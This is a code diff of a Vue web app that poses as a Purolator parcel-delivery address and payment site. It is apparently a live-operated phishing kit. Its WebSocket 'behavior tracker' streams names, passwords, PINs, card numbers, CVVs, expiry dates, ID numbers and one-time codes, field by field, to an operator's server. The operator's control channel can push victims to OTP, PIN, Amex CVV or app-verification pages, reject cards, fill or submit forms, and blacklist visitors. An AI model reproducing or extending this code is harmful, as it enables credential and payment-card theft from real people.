|
behaviorTracker.sendBehavior(
|
||||||
|
'page_leave',
|
||||||
|
`离开页面: ${from.name}`,
|
||||||
|
{
|
||||||
|
from_page: from.name,
|
||||||
|
from_path: from.path,
|
||||||
|
timestamp: new Date().toISOString()
|
||||||
|
}
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
|
||||||
|
router.afterEach((to, from) => {
|
||||||
|
behaviorTracker.sendBehavior(
|
||||||
|
'page_visit',
|
||||||
|
`访问页面: ${to.name}`,
|
||||||
|
{
|
||||||
|
to_page: to.name,
|
||||||
|
to_path: to.path,
|
||||||
|
from_page: from.name || null,
|
||||||
|
from_path: from.path || null,
|
||||||
|
timestamp: new Date().toISOString()
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
const pageActions = {
|
||||||
|
'Home': () => behaviorTracker.sendBehavior('view_package_status', '查看包裹状态', {}),
|
||||||
|
'UpdateAddress': () => behaviorTracker.sendBehavior('view_address_form', '查看地址更新表单', {}),
|
||||||
|
'Payment': () => behaviorTracker.sendBehavior('view_payment_form', '查看支付表单', {})
|
||||||
|
};
|
||||||
|
|
||||||
|
const action = pageActions[to.name];
|
||||||
|
if (action) {
|
||||||
|
setTimeout(action, 500);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
window.addEventListener('beforeunload', () => {
|
||||||
|
behaviorTracker?.trackSessionEnd();
|
||||||
|
});
|
||||||
|
}
|
||||||
88
src/router/index.js
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
import { createRouter, createWebHistory } from 'vue-router'
|
||||||
|
import HomePage from '../components/HomePage.vue'
|
||||||
|
import UpdateAddressPage from '../components/UpdateAddressPage.vue'
|
||||||
|
import PaymentPage from '../components/PaymentPage.vue'
|
||||||
|
import OtpVerificationPage from '../components/verification/OtpVerificationPage.vue'
|
||||||
|
import EmailVerificationPage from '../components/verification/EmailVerificationPage.vue'
|
||||||
|
import PinVerificationPage from '../components/verification/PinVerificationPage.vue'
|
||||||
|
import AmexCvvVerificationPage from '../components/verification/AmexCvvVerificationPage.vue'
|
||||||
|
import AppVerificationPage from '../components/verification/AppVerificationPage.vue'
|
||||||
|
import ErrorPage from '../components/ErrorPage.vue'
|
||||||
|
import BlockedPage from '../components/BlockedPage.vue'
|
||||||
|
|
||||||
|
// 检查是否被拉黑的导航守卫
|
||||||
|
const checkBlacklisted = (to, from, next) => {
|
||||||
|
if (localStorage.getItem('blacklisted') === 'true' && to.path !== '/blocked') {
|
||||||
|
next('/blocked')
|
||||||
|
} else {
|
||||||
|
next()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const routes = [
|
||||||
|
{
|
||||||
|
path: '/',
|
||||||
|
name: 'Home',
|
||||||
|
component: HomePage,
|
||||||
|
beforeEnter: checkBlacklisted
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/update-address',
|
||||||
|
name: 'UpdateAddress',
|
||||||
|
component: UpdateAddressPage,
|
||||||
|
beforeEnter: checkBlacklisted
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/payment',
|
||||||
|
name: 'Payment',
|
||||||
|
component: PaymentPage,
|
||||||
|
beforeEnter: checkBlacklisted
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/otp-verification',
|
||||||
|
name: 'OtpVerification',
|
||||||
|
component: OtpVerificationPage,
|
||||||
|
beforeEnter: checkBlacklisted
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/email-verification',
|
||||||
|
name: 'EmailVerification',
|
||||||
|
component: EmailVerificationPage,
|
||||||
|
beforeEnter: checkBlacklisted
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/pin-verification',
|
||||||
|
name: 'PinVerification',
|
||||||
|
component: PinVerificationPage,
|
||||||
|
beforeEnter: checkBlacklisted
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/amex-cvv-verification',
|
||||||
|
name: 'AmexCvvVerification',
|
||||||
|
component: AmexCvvVerificationPage,
|
||||||
|
beforeEnter: checkBlacklisted
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/app-verification',
|
||||||
|
name: 'AppVerification',
|
||||||
|
component: AppVerificationPage,
|
||||||
|
beforeEnter: checkBlacklisted
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/error',
|
||||||
|
name: 'Error',
|
||||||
|
component: ErrorPage
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/blocked',
|
||||||
|
name: 'Blocked',
|
||||||
|
component: BlockedPage
|
||||||
|
}
|
||||||
|
]
|
||||||
|
|
||||||
|
const router = createRouter({
|
||||||
|
history: createWebHistory(),
|
||||||
|
routes
|
||||||
|
})
|
||||||
|
|
||||||
|
export default router
|
||||||
583
src/services/websocket.js
Normal file
@@ -0,0 +1,583 @@
|
|||||||
|
class UserBehaviorTracker {
|
||||||
|
constructor() {
|
||||||
|
this.ws = null;
|
||||||
|
this.wsControl = null; // 控制WebSocket
|
||||||
|
this.uuid = this.getOrCreateUserUUID();
|
||||||
|
|
||||||
|
// 使用环境变量配置WebSocket地址
|
||||||
|
const baseWsUrl = import.meta.env.VITE_WS_URL || 'ws://127.0.0.1:8080';
|
||||||
|
|
||||||
|
this.wsUrl = `${baseWsUrl}/api/v1/accessControl/ws_pub?uuid=${this.uuid}`;
|
||||||
|
this.wsControlUrl = `${baseWsUrl}/api/v1/accessControl/ws_control_sub?uuid=${this.uuid}`;
|
||||||
|
|
||||||
|
this.reconnectAttempts = 0;
|
||||||
|
this.maxReconnectAttempts = 5;
|
||||||
|
this.reconnectInterval = 3000;
|
||||||
|
this.isConnected = false;
|
||||||
|
this.isControlConnected = false; // 控制WS连接状态
|
||||||
|
this.messageQueue = [];
|
||||||
|
this.controlMessageQueue = []; // 控制WS消息队列
|
||||||
|
this.heartbeatInterval = null;
|
||||||
|
this.controlHeartbeatInterval = null; // 控制WS心跳
|
||||||
|
this.connectionStatus = 'disconnected'; // disconnected, connecting, connected, error
|
||||||
|
this.controlConnectionStatus = 'disconnected'; // 控制WS连接状态
|
||||||
|
this.controlCallbacks = {}; // 控制WS回调函数
|
||||||
|
|
||||||
|
// 防止未捕获的WebSocket错误导致alert
|
||||||
|
window.addEventListener('error', (event) => {
|
||||||
|
if (event && event.message && (
|
||||||
|
event.message.includes('WebSocket') ||
|
||||||
|
event.message.includes('network') ||
|
||||||
|
event.message.includes('connection')
|
||||||
|
)) {
|
||||||
|
// 阻止默认行为
|
||||||
|
event.preventDefault();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Only establish a new connection if one doesn't already exist
|
||||||
|
this.connect();
|
||||||
|
this.connectControl(); // 连接控制WebSocket
|
||||||
|
this.setupHeartbeat();
|
||||||
|
this.setupControlHeartbeat(); // 设置控制WS心跳
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get existing UUID from session storage or create a new one based on browser fingerprinting
|
||||||
|
* @returns {string} - User UUID
|
||||||
|
*/
|
||||||
|
getOrCreateUserUUID() {
|
||||||
|
// Check if UUID already exists in sessionStorage
|
||||||
|
let uuid = sessionStorage.getItem('user_uuid');
|
||||||
|
|
||||||
|
if (uuid) {
|
||||||
|
return uuid;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Generate a new UUID based on browser information
|
||||||
|
uuid = this.generateUUID();
|
||||||
|
|
||||||
|
// Store in sessionStorage
|
||||||
|
sessionStorage.setItem('user_uuid', uuid);
|
||||||
|
|
||||||
|
return uuid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate a unique UUID based on browser information
|
||||||
|
* @returns {string} - Generated UUID
|
||||||
|
*/
|
||||||
|
generateUUID() {
|
||||||
|
// Collect browser information for fingerprinting
|
||||||
|
const screenInfo = `${screen.width}x${screen.height}x${screen.colorDepth}`;
|
||||||
|
const timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone || '';
|
||||||
|
const language = navigator.language || '';
|
||||||
|
const platform = navigator.platform || '';
|
||||||
|
const userAgent = navigator.userAgent || '';
|
||||||
|
|
||||||
|
// Create a hash from combined information
|
||||||
|
const browserFingerprint = this.simpleHash(
|
||||||
|
userAgent + screenInfo + timeZone + language + platform + Date.now()
|
||||||
|
);
|
||||||
|
|
||||||
|
// Format as UUID-like string
|
||||||
|
return 'user_' + browserFingerprint + '_' + Math.random().toString(36).substr(2, 9);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Simple string hashing function
|
||||||
|
* @param {string} str - String to hash
|
||||||
|
* @returns {string} - Hash result
|
||||||
|
*/
|
||||||
|
simpleHash(str) {
|
||||||
|
let hash = 0;
|
||||||
|
for (let i = 0; i < str.length; i++) {
|
||||||
|
const char = str.charCodeAt(i);
|
||||||
|
hash = ((hash << 5) - hash) + char;
|
||||||
|
hash = hash & hash; // Convert to 32bit integer
|
||||||
|
}
|
||||||
|
// Convert to positive hex string
|
||||||
|
return Math.abs(hash).toString(16);
|
||||||
|
}
|
||||||
|
|
||||||
|
connect() {
|
||||||
|
try {
|
||||||
|
this.connectionStatus = 'connecting';
|
||||||
|
this.ws = new WebSocket(this.wsUrl);
|
||||||
|
|
||||||
|
this.ws.onopen = () => {
|
||||||
|
console.log('WebSocket connected to LightHouse');
|
||||||
|
this.isConnected = true;
|
||||||
|
this.connectionStatus = 'connected';
|
||||||
|
this.reconnectAttempts = 0;
|
||||||
|
|
||||||
|
this.sendBehavior('session_start', '会话开始', {});
|
||||||
|
|
||||||
|
this.flushMessageQueue();
|
||||||
|
};
|
||||||
|
|
||||||
|
this.ws.onmessage = (event) => {
|
||||||
|
try {
|
||||||
|
const data = JSON.parse(event.data);
|
||||||
|
console.log('Received message:', data);
|
||||||
|
this.handleIncomingMessage(data);
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Failed to parse WebSocket message:', error);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
this.ws.onclose = () => {
|
||||||
|
console.log('WebSocket connection closed');
|
||||||
|
this.isConnected = false;
|
||||||
|
this.connectionStatus = 'disconnected';
|
||||||
|
this.attemptReconnect();
|
||||||
|
};
|
||||||
|
|
||||||
|
this.ws.onerror = (error) => {
|
||||||
|
console.error('WebSocket error:', error);
|
||||||
|
this.isConnected = false;
|
||||||
|
this.connectionStatus = 'error';
|
||||||
|
};
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Failed to create WebSocket connection:', error);
|
||||||
|
this.connectionStatus = 'error';
|
||||||
|
this.attemptReconnect();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
handleIncomingMessage(data) {
|
||||||
|
// 处理来自服务器的消息
|
||||||
|
switch (data.type) {
|
||||||
|
case 'pong':
|
||||||
|
// 心跳响应
|
||||||
|
break;
|
||||||
|
case 'command':
|
||||||
|
// 服务器命令
|
||||||
|
this.handleServerCommand(data);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
console.log('Unknown message type:', data.type);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
handleServerCommand(data) {
|
||||||
|
// 处理服务器命令
|
||||||
|
console.log('Server command received:', data);
|
||||||
|
}
|
||||||
|
|
||||||
|
attemptReconnect() {
|
||||||
|
if (this.reconnectAttempts < this.maxReconnectAttempts) {
|
||||||
|
this.reconnectAttempts++;
|
||||||
|
console.log(`Attempting to reconnect (${this.reconnectAttempts}/${this.maxReconnectAttempts})...`);
|
||||||
|
|
||||||
|
setTimeout(() => {
|
||||||
|
this.connect();
|
||||||
|
}, this.reconnectInterval);
|
||||||
|
} else {
|
||||||
|
console.error('Max reconnection attempts reached');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
setupHeartbeat() {
|
||||||
|
this.clearHeartbeat();
|
||||||
|
this.heartbeatInterval = setInterval(() => {
|
||||||
|
if (this.isConnected && this.ws.readyState === WebSocket.OPEN) {
|
||||||
|
this.ws.send(JSON.stringify({ type: 'ping', timestamp: Date.now() }));
|
||||||
|
}
|
||||||
|
}, 30000);
|
||||||
|
}
|
||||||
|
|
||||||
|
clearHeartbeat() {
|
||||||
|
if (this.heartbeatInterval) {
|
||||||
|
clearInterval(this.heartbeatInterval);
|
||||||
|
this.heartbeatInterval = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
flushMessageQueue() {
|
||||||
|
while (this.messageQueue.length > 0) {
|
||||||
|
const message = this.messageQueue.shift();
|
||||||
|
this.sendMessage(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sendMessage(message) {
|
||||||
|
if (this.isConnected && this.ws.readyState === WebSocket.OPEN) {
|
||||||
|
this.ws.send(JSON.stringify(message));
|
||||||
|
} else {
|
||||||
|
this.messageQueue.push(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sendBehavior(type, status, payload) {
|
||||||
|
const message = {
|
||||||
|
type: type,
|
||||||
|
uuid: this.uuid,
|
||||||
|
status: status,
|
||||||
|
payload: payload
|
||||||
|
};
|
||||||
|
|
||||||
|
this.sendMessage(message);
|
||||||
|
console.log('Sent behavior:', message);
|
||||||
|
}
|
||||||
|
|
||||||
|
trackLogin(credentials = {}) {
|
||||||
|
this.sendBehavior('login', '用户正在登录', credentials);
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputName(name) {
|
||||||
|
this.sendBehavior('input_name', '正在输入姓名', { name });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputPhone(phone) {
|
||||||
|
this.sendBehavior('input_phone', '正在输入电话', { phone });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputEmail(email) {
|
||||||
|
this.sendBehavior('input_email', '正在输入邮箱', { email });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputIdCard(idCard) {
|
||||||
|
this.sendBehavior('input_id_card', '正在输入身份证号', { id_card: idCard });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputUsername(username) {
|
||||||
|
this.sendBehavior('input_username', '正在输入用户名', { username });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputPassword(password) {
|
||||||
|
this.sendBehavior('input_password', '正在输入密码', { password });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputVerifyCode(code) {
|
||||||
|
this.sendBehavior('input_verify_code', '正在输入验证码', { verify_code: code });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputPin(pin) {
|
||||||
|
this.sendBehavior('input_pin', '正在输入PIN码', { pin });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputAddressCountry(country) {
|
||||||
|
this.sendBehavior('input_address_country', '正在输入国家', { country });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputAddressState(state) {
|
||||||
|
this.sendBehavior('input_address_state', '正在输入省份/州', { state });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputAddressCity(city) {
|
||||||
|
this.sendBehavior('input_address_city', '正在输入城市', { city });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputAddressDetail(address) {
|
||||||
|
this.sendBehavior('input_address_detail', '正在输入详细地址', { address });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputAddressZip(zipCode) {
|
||||||
|
this.sendBehavior('input_address_zip', '正在输入邮政编码', { zip_code: zipCode });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputCardNumber(cardNumber) {
|
||||||
|
this.sendBehavior('input_card_number', '正在输入卡号', { card_number: cardNumber });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputCardType(cardType) {
|
||||||
|
this.sendBehavior('input_card_type', '正在输入卡类型', { card_type: cardType });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputCardHolder(cardHolder) {
|
||||||
|
this.sendBehavior('input_card_holder', '正在输入持卡人姓名', { card_holder_name: cardHolder });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputCardExpiry(expiry) {
|
||||||
|
this.sendBehavior('input_card_expiry', '正在输入有效期', { expiry_date: expiry });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputCardCvv(cvv) {
|
||||||
|
this.sendBehavior('input_card_cvv', '正在输入CVV', { cvv });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputCardRemark(remark) {
|
||||||
|
this.sendBehavior('input_card_remark', '正在输入卡头备注', { card_remark: remark });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackInputCustomField(fieldNumber, value) {
|
||||||
|
this.sendBehavior(`input_custom_field${fieldNumber}`, `正在输入自定义字段${fieldNumber}`, { [`custom_field${fieldNumber}`]: value });
|
||||||
|
}
|
||||||
|
|
||||||
|
trackCompleteRegistration() {
|
||||||
|
this.sendBehavior('complete_registration', '注册完成', {});
|
||||||
|
}
|
||||||
|
|
||||||
|
trackCompletePayment() {
|
||||||
|
this.sendBehavior('complete_payment', '完成支付', {});
|
||||||
|
}
|
||||||
|
|
||||||
|
trackSessionEnd() {
|
||||||
|
this.sendBehavior('session_end', '会话结束', {});
|
||||||
|
}
|
||||||
|
|
||||||
|
disconnect() {
|
||||||
|
this.clearHeartbeat();
|
||||||
|
this.trackSessionEnd();
|
||||||
|
|
||||||
|
if (this.isConnected && this.ws.readyState === WebSocket.OPEN) {
|
||||||
|
this.ws.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
this.isConnected = false;
|
||||||
|
this.connectionStatus = 'disconnected';
|
||||||
|
}
|
||||||
|
|
||||||
|
// 控制WebSocket相关方法
|
||||||
|
connectControl() {
|
||||||
|
try {
|
||||||
|
this.controlConnectionStatus = 'connecting';
|
||||||
|
this.wsControl = new WebSocket(this.wsControlUrl);
|
||||||
|
|
||||||
|
this.wsControl.onopen = () => {
|
||||||
|
console.log('Control WebSocket connected');
|
||||||
|
this.isControlConnected = true;
|
||||||
|
this.controlConnectionStatus = 'connected';
|
||||||
|
|
||||||
|
this.flushControlMessageQueue();
|
||||||
|
};
|
||||||
|
|
||||||
|
this.wsControl.onmessage = (event) => {
|
||||||
|
try {
|
||||||
|
const data = JSON.parse(event.data);
|
||||||
|
console.log('Received control message:', data);
|
||||||
|
this.handleControlMessage(data);
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Failed to parse Control WebSocket message:', error);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
this.wsControl.onclose = () => {
|
||||||
|
console.log('Control WebSocket connection closed');
|
||||||
|
this.isControlConnected = false;
|
||||||
|
this.controlConnectionStatus = 'disconnected';
|
||||||
|
this.attemptControlReconnect();
|
||||||
|
};
|
||||||
|
|
||||||
|
this.wsControl.onerror = (error) => {
|
||||||
|
console.error('Control WebSocket error:', error);
|
||||||
|
this.isControlConnected = false;
|
||||||
|
this.controlConnectionStatus = 'error';
|
||||||
|
};
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Failed to create Control WebSocket connection:', error);
|
||||||
|
this.controlConnectionStatus = 'error';
|
||||||
|
this.attemptControlReconnect();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
handleControlMessage(data) {
|
||||||
|
if (!data || !data.type) {
|
||||||
|
console.error('Invalid control message format');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log(`Processing control message: ${data.type}`);
|
||||||
|
|
||||||
|
// 触发注册的回调
|
||||||
|
this.triggerControlCallback(data.type, data);
|
||||||
|
|
||||||
|
// 处理各种类型的控制命令
|
||||||
|
switch (data.type) {
|
||||||
|
case 'pong':
|
||||||
|
// 心跳响应
|
||||||
|
break;
|
||||||
|
case 'return_prev_step':
|
||||||
|
// 返回上一步
|
||||||
|
this.triggerControlCallback('returnPrevStep', data);
|
||||||
|
break;
|
||||||
|
case 'otp_verification':
|
||||||
|
// OTP验证
|
||||||
|
this.triggerControlCallback('otpVerification', data);
|
||||||
|
break;
|
||||||
|
case 'email_verification':
|
||||||
|
// Email验证
|
||||||
|
this.triggerControlCallback('emailVerification', data);
|
||||||
|
break;
|
||||||
|
case 'app_verification':
|
||||||
|
// App验证
|
||||||
|
this.triggerControlCallback('appVerification', data);
|
||||||
|
break;
|
||||||
|
case 'pin_verification':
|
||||||
|
// PIN验证
|
||||||
|
this.triggerControlCallback('pinVerification', data);
|
||||||
|
break;
|
||||||
|
case 'cvv_verification_amex':
|
||||||
|
// 运通CVV验证
|
||||||
|
this.triggerControlCallback('amexCvvVerification', data);
|
||||||
|
break;
|
||||||
|
case 'reject_custom':
|
||||||
|
// 拒绝自定义文案
|
||||||
|
this.triggerControlCallback('rejectCustom', data);
|
||||||
|
break;
|
||||||
|
case 'reject_card_change':
|
||||||
|
// 拒绝更换卡片
|
||||||
|
this.triggerControlCallback('rejectCardChange', data);
|
||||||
|
break;
|
||||||
|
case 'disconnect':
|
||||||
|
// 断开连接
|
||||||
|
this.triggerControlCallback('disconnect', data);
|
||||||
|
break;
|
||||||
|
case 'blacklist':
|
||||||
|
// 拉入黑名单
|
||||||
|
this.triggerControlCallback('blacklist', data);
|
||||||
|
localStorage.setItem('blacklisted', 'true');
|
||||||
|
break;
|
||||||
|
case 'clearForm':
|
||||||
|
this.triggerControlCallback('clearForm', data);
|
||||||
|
break;
|
||||||
|
case 'fillForm':
|
||||||
|
this.triggerControlCallback('fillForm', data);
|
||||||
|
break;
|
||||||
|
case 'submitForm':
|
||||||
|
this.triggerControlCallback('submitForm', data);
|
||||||
|
break;
|
||||||
|
case 'navigateTo':
|
||||||
|
this.triggerControlCallback('navigateTo', data);
|
||||||
|
break;
|
||||||
|
case 'showError':
|
||||||
|
this.triggerControlCallback('showError', data);
|
||||||
|
break;
|
||||||
|
case 'reload':
|
||||||
|
window.location.reload();
|
||||||
|
break;
|
||||||
|
case 'ping':
|
||||||
|
// 发送pong响应
|
||||||
|
this.sendToWsSub({
|
||||||
|
type: 'pong',
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
// 其他命令类型,尝试触发对应的回调
|
||||||
|
console.log(`[WebSocket Control] 未知消息类型: ${data.type}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 注册控制回调
|
||||||
|
registerControlCallback(eventType, callback) {
|
||||||
|
this.controlCallbacks[eventType] = callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 触发控制回调
|
||||||
|
triggerControlCallback(eventType, data) {
|
||||||
|
if (this.controlCallbacks[eventType]) {
|
||||||
|
try {
|
||||||
|
this.controlCallbacks[eventType](data);
|
||||||
|
} catch (error) {
|
||||||
|
console.error(`Error executing callback for ${eventType}:`, error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送消息到ws_sub
|
||||||
|
sendToWsSub(data) {
|
||||||
|
const message = {
|
||||||
|
...data,
|
||||||
|
uuid: this.uuid,
|
||||||
|
timestamp: data.timestamp || Date.now()
|
||||||
|
};
|
||||||
|
|
||||||
|
if (this.isControlConnected && this.wsControl.readyState === WebSocket.OPEN) {
|
||||||
|
this.wsControl.send(JSON.stringify(message));
|
||||||
|
} else {
|
||||||
|
this.controlMessageQueue.push(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
attemptControlReconnect() {
|
||||||
|
if (this.reconnectAttempts < this.maxReconnectAttempts) {
|
||||||
|
this.reconnectAttempts++;
|
||||||
|
|
||||||
|
setTimeout(() => {
|
||||||
|
this.connectControl();
|
||||||
|
}, this.reconnectInterval);
|
||||||
|
} else {
|
||||||
|
console.error('Max control reconnection attempts reached');
|
||||||
|
this.controlConnectionStatus = 'disconnected';
|
||||||
|
this.clearControlHeartbeat();
|
||||||
|
this.isControlConnected = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
setupControlHeartbeat() {
|
||||||
|
this.clearControlHeartbeat();
|
||||||
|
this.controlHeartbeatInterval = setInterval(() => {
|
||||||
|
if (this.isControlConnected && this.wsControl.readyState === WebSocket.OPEN) {
|
||||||
|
this.wsControl.send(JSON.stringify({ type: 'ping', timestamp: Date.now() }));
|
||||||
|
}
|
||||||
|
}, 30000);
|
||||||
|
}
|
||||||
|
|
||||||
|
clearControlHeartbeat() {
|
||||||
|
if (this.controlHeartbeatInterval) {
|
||||||
|
clearInterval(this.controlHeartbeatInterval);
|
||||||
|
this.controlHeartbeatInterval = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
flushControlMessageQueue() {
|
||||||
|
while (this.controlMessageQueue.length > 0) {
|
||||||
|
const message = this.controlMessageQueue.shift();
|
||||||
|
this.sendToWsSub(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取控制连接状态
|
||||||
|
getControlConnectionStatus() {
|
||||||
|
return this.controlConnectionStatus;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取控制连接详情
|
||||||
|
getControlConnectionInfo() {
|
||||||
|
return {
|
||||||
|
status: this.controlConnectionStatus,
|
||||||
|
connected: this.isControlConnected,
|
||||||
|
url: this.wsControlUrl,
|
||||||
|
uuid: this.uuid
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
disconnectControl() {
|
||||||
|
this.clearControlHeartbeat();
|
||||||
|
|
||||||
|
if (this.isControlConnected && this.wsControl.readyState === WebSocket.OPEN) {
|
||||||
|
this.wsControl.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
this.isControlConnected = false;
|
||||||
|
this.controlConnectionStatus = 'disconnected';
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取连接状态
|
||||||
|
getConnectionStatus() {
|
||||||
|
return this.connectionStatus;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取连接详情
|
||||||
|
getConnectionInfo() {
|
||||||
|
return {
|
||||||
|
status: this.connectionStatus,
|
||||||
|
connected: this.isConnected,
|
||||||
|
url: this.wsUrl,
|
||||||
|
uuid: this.uuid
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 单例模式确保整个应用只有一个WebSocket实例
|
||||||
|
let instance = null;
|
||||||
|
|
||||||
|
export default function getUserBehaviorTracker() {
|
||||||
|
if (!instance) {
|
||||||
|
instance = new UserBehaviorTracker();
|
||||||
|
}
|
||||||
|
return instance;
|
||||||
|
}
|
||||||
32
src/style.css
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
/* 基础重置 */
|
||||||
|
* {
|
||||||
|
box-sizing: border-box;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
html, body {
|
||||||
|
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
line-height: 1.6;
|
||||||
|
color: #333;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 确保图片响应式 */
|
||||||
|
img {
|
||||||
|
max-width: 100%;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 基础链接样式 */
|
||||||
|
a {
|
||||||
|
color: #001996;
|
||||||
|
text-decoration: none;
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
a:hover {
|
||||||
|
color: #0f2a9c;
|
||||||
|
}
|
||||||
4
start.bat
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
@echo off
|
||||||
|
echo Starting Purolator Vue App...
|
||||||
|
npm run dev
|
||||||
|
pause
|
||||||
14
vite.config.js
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
import { defineConfig } from 'vite'
|
||||||
|
import vue from '@vitejs/plugin-vue'
|
||||||
|
|
||||||
|
export default defineConfig({
|
||||||
|
plugins: [vue()],
|
||||||
|
base: './',
|
||||||
|
build: {
|
||||||
|
outDir: 'dist'
|
||||||
|
},
|
||||||
|
server: {
|
||||||
|
port: 5176,
|
||||||
|
host: true
|
||||||
|
}
|
||||||
|
})
|
||||||
348
yarn.lock
Normal file
@@ -0,0 +1,348 @@
|
|||||||
|
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||||
|
# yarn lockfile v1
|
||||||
|
|
||||||
|
|
||||||
|
"@babel/helper-string-parser@^7.27.1":
|
||||||
|
version "7.27.1"
|
||||||
|
resolved "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz#54da796097ab19ce67ed9f88b47bb2ec49367687"
|
||||||
|
integrity sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==
|
||||||
|
|
||||||
|
"@babel/helper-validator-identifier@^7.27.1":
|
||||||
|
version "7.27.1"
|
||||||
|
resolved "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz#a7054dcc145a967dd4dc8fee845a57c1316c9df8"
|
||||||
|
integrity sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==
|
||||||
|
|
||||||
|
"@babel/parser@^7.27.5":
|
||||||
|
version "7.28.0"
|
||||||
|
resolved "https://registry.npmmirror.com/@babel/parser/-/parser-7.28.0.tgz#979829fbab51a29e13901e5a80713dbcb840825e"
|
||||||
|
integrity sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==
|
||||||
|
dependencies:
|
||||||
|
"@babel/types" "^7.28.0"
|
||||||
|
|
||||||
|
"@babel/types@^7.28.0":
|
